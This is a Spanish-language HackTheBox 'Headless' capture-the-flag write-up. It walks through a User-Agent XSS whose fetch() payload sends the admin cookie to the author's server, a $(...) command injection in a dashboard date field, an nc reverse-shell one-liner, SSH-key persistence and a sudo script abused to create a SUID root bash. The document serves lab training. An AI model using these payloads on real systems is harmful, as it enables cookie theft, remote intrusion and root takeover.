Ir al contenido
  1. Writeups/

HackTheBox - Headless

·7 mins
Nicolás Seral
Autor
Nicolás Seral
bla bla bla bla
  • Dificultad: easy
  • Tiempo aprox. 1.5h
  • Datos Iniciales: 10.129.8.232

Enumeración inicial
#

Hacemos un escaneo de puertos inicial y encontramos lo siguiente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ sudo nmap -sT -Pn --top-ports=5000 10.129.8.232 # Indica 22,5000
$ sudo nmap -sT -Pn -p22,5000 10.129.8.232 -sVC
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-title: Under Construction
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • 22/tcp (OpenSSH 9.2p1): Ninguna vulnerabilidad relevante para este caso.
  • 5000/tcp (Werkzeug httpd 2.2.2): Servidor http, tampoco tiene vulnerabilidades.

Puerto 5000, HTTP
#

Al entrar, nos encontramos con el siguiente panel.

Como se indica, la página está en construcción. Además pone que es posible hacer preguntas (posiblemente a quien gestione la página) a través de /support

Al entrar a /support nos encontramos el siguiente formulario, que permite mandar dudas a los desarrolladores.

Como la duda y nuestros datos se van a pasar al desarrollador de la web, es posible que si ve los datos desde la propia página haya una posible vulnerabilidad XSS.

XSS
#

Para comprobarlo, vamos a levantar un servidor HTTP en el puerto 80 primero.

1
2
3
$ sudo python3 -m http.server -b 10.10.16.82 80
[sudo] password for kali: 
Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ...

Si mandamos el siguiente payload en todas los campos:

1
<script>fetch('http://10.10.16.82/?c=' + document.cookie)</script>

Se nos devuelve esto:

Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.

Como el reporte con la información del cliente también se envía al administrador, no sería raro que pudiésemos tener un XSS en la propia info del cliente. Podemos probar a usar un User-Agent malicioso en los headers HTTP.

Mandamos la solicitud de nuevo, exactamente igual, pero ahora la interceptamos con BurpSuite y cambiamos el User-Agent por (otra vez):

1
<script>fetch('http://10.10.16.82/?c=' + document.cookie)</script>

Si lo mandamos, vemos esto:

Ahora User-Agent no tiene nada, lo que indica que es muy probable que se haya tomado como script y se haya ejecutado. Si vamos al servidor web de antes, nos encontramos con la cookie del administrador.

1
2
3
4
$ sudo python3 -m http.server -b 10.10.16.82 80
[sudo] password for kali: 
Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ...
10.129.8.232 - - [03/Jun/2026 08:13:41] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -

Ahora vamos a Devtools -> Storage -> Cookies -> is_admin y cambiamos su valor.

Necesitamos saber dónde usarla, así que enumeramos directorios, porque la página de support y la principal no cambian en nada al cambiar la cookie.

1
2
3
4
5
6
7
8
9
$ gobuster dir -u http://10.129.8.232:5000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

Starting gobuster in directory enumeration mode
===============================================================
support              (Status: 200) [Size: 2363]
dashboard            (Status: 500) [Size: 265]

Y vamos directos a dashboard.

Dashboard
#

En el dashboard encontramos una herramienta que permite generar reportes de “salud” del sitio web, incluyendo una fecha.

Al pulsar el botón con cualquier fecha, pone:

Systems are up and running!

No hay mucho que podamos hacer desde aquí, así que abrimos BurpSuite y miramos la solicitud.

1
2
3
4
5
6
7
8
9
POST /dashboard HTTP/1.1
Host: 10.129.8.232:5000
...[SNIP]...
Referer: http://10.129.8.232:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
Priority: u=0, i

date=2023-09-15

Como se manda como parámetro por POST, podemos probar a cambiarlo a cualquier cosa, como datos no numéricos, para ver cómo responde el servidor.

Command Injection
#

Mandamos algunos payloads como los siguientes, pero la respuesta del servidor no varía, sigue siendo “Systems are up and running!”.

1
2
3
date=*###*dsad-``+++çç--
date=aaaaaa
date=00000000

El único punto en que se devuelve algo diferente es cuando mandamos date= sin ningún dato después. En tal caso no solo no aparece ningún error, sino que no se devuelve nada.

Podemos imaginarnos el backend como algo que procesa de la siguiente forma.

1
2
3
4
5
6
7
comando = f"/usr/bin/bash /opt/werkzeug/checkhealth.sh '{fecha}'"

try:
    ejecutar_en_shell(comando)
    return "Systems are up and running!"
except:
    return ""

Así que probamos a escapar de las comillas, por ejemplo haciendo esto:

1
2
3
4
date=2023-09-15'; curl 'http://10.10.16.82
# Todo encodeado a URL
# Esto quedaría de la siguiente forma en el supuesto backend:
comando = f"/usr/bin/bash /opt/werkzeug/checkhealth.sh '2023-09-15'; curl 'http://10.10.16.82'"

Pero al solicitarlo, en nuestro servidor no vemos nada. Ahora bien, podemos hacer algo todavía más simple.

Si la fecha se introduce en bash directamente, podemos abrir un $(...) para que se ejecute todo lo que hay dentro antes de ejecutar checkhealth.sh. Por ejemplo, con un payload así:

1
date=$(curl 10.10.16.82)

Si lo mandamos, miramos el servidor y efectivamente llega la solicitud.

1
2
3
4
$ sudo python3 -m http.server -b 10.10.16.82 80
[sudo] password for kali: 
Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ...
10.129.8.232 - - [03/Jun/2026 08:44:27] "GET / HTTP/1.1" 200 -

Así que metemos un reverse shell directamente.

1
date=$(rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.16.82+4444+>/tmp/f)

Y si miramos el listener, ya estamos dentro.

1
2
3
4
5
6
7
8
9
$ penelope -i 10.10.16.82                 
[+] Listening for reverse shells on 10.10.16.82:4444 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from headless~10.129.8.232-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
───────────────────────────────────────────────
dvir@headless:~/app$

Privesc
#

Nada más entrar, vemos que somos dvir y que hemos aparecido en /app. Si miramos en /home nos encontramos con nuestro directorio personal.

Consiguiendo persistencia
#

Antes de continuar, lo ideal sería crear un par de claves ssh para mantener persistencia y no tener que depender de que el worker de Werkzeug mate nuestro shell en cualquier momento.

1
2
3
4
5
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./dvir
Enter passphrase for "./dvir" (empty for no passphrase): 
...

Copiamos la clave a authorized_keys en el .ssh de dvir, y nos conectamos por ssh.

1
2
3
4
$ ssh dvir@10.129.8.232 -i dvir
Linux headless 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

dvir@headless:~$ echo "Ahora podemos cortar el reverse shell"

Privilegios sudo
#

Si miramos qué permisos como sudo tenemos, encontramos esto.

1
2
3
4
5
6
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

Dicho comando es el siguiente:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

Si nos fijamos, una vez se ha dado valores a last_modified_time, dist_space y load_average, se comprueba si la base de datos está activa o no, y si no lo está, se ejecuta ./initdb.sh desde la ubicación en la que está el usuario.

Esto significa que podemos crear un initdb.sh arbitrario, como este.

1
2
3
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash

Y ahora hacer:

1
2
3
4
5
6
7
8
9
dvir@headless:/tmp$ chmod +x initdb.sh
dvir@headless:/tmp$ sudo /usr/bin/syscheck 
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average:  0.13, 0.06, 0.01
Database service is not running. Starting it...

dvir@headless:/tmp$ ls rootbash -al
-rwsr-xr-x 1 root root 1265648 Jun  3 16:23 rootbash

Finalmente, lo ejecutamos.

1
2
3
dvir@headless:/tmp$ ./rootbash -p
rootbash-5.2# whoami
root

Y tenemos root.

Relacionados

HackTheBox - Connected

·15 mins
OS: Linux | Dificultad: Easy | Conceptos: CVE Público, Unauthenticated SQLi en FreePBX, RCE vía SQLi, Privesc mediante inyección de comandos con incron.

HackTheBox - CozyHosting

·10 mins
OS: Linux | Dificultad: Easy | Conceptos: Spring Boot Actuator, Session Hijacking (JSESSIONID), Command Injection HTTP/SSH, extracción de credenciales en JAR, PostgreSQL, reutilización de credenciales, privilegios sudo en SSH

HackTheBox - Expressway

·5 mins
OS: Linux | Dificultad: Easy | Conceptos: IPSec, Cisco, TFTP, Sudo, CVE Público